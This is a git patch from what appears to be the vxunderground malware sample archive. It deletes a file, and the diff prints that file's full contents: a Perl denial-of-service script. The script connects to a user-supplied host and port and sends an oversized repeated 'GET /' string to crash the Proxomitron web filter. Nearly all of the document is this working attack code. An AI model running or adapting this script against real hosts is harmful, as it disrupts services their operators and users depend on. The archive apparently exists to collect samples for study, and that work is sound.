From 387e93ba7bd810e8be47afbddfe3a430e9da1d89 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:20:30 -0600
Subject: [PATCH] Delete DoS.Perl.Proxometron.a

na
---
 Perl/DoS.Perl.Proxometron.a | 34 ----------------------------------
 1 file changed, 34 deletions(-)
 delete mode 100644 Perl/DoS.Perl.Proxometron.a

diff --git a/Perl/DoS.Perl.Proxometron.a b/Perl/DoS.Perl.Proxometron.a
deleted file mode 100644
index 9aa0f2b1..00000000
--- a/Perl/DoS.Perl.Proxometron.a
+++ /dev/null
@@ -1,34 +0,0 @@
-#####################################################
-#  Proxomitron - Universial Web Filter - Version 3  #
-#  Dos Attack.                                      #
-#####################################################
-
-use IO::Socket;
-
-$ARGC=@ARGV;
-if ($ARGC !=2) {
-	print "\n-->";
-        print "\tUsage: perl dos-prox.pl <host> <port>\n";
-	exit;
-}
-
-$vic     = $ARGV[0];          # There IP
-$Uport   = $ARGV[1];          # There Web Port
-$SendStr = "GET /" x 1000;    # Crash String
-
-print "\n-->";
-print "\tCrashing:$vic on:$Uport\n";
-unless ($socket2 = IO::Socket::INET->new (Proto => "TCP",
-					  PeerAddr => $vic,
-					  PeerPort => $Uport))
-{
-        print "-->";
-        print "\tConnection Failed, Stoping.\n";
-        exit;
-}
-print $socket2 "GET $SendStr\n";
-close $socket2;
-
-print "-->";
-print "\tCrashed:$vic\n";
-exit;
\ No newline at end of file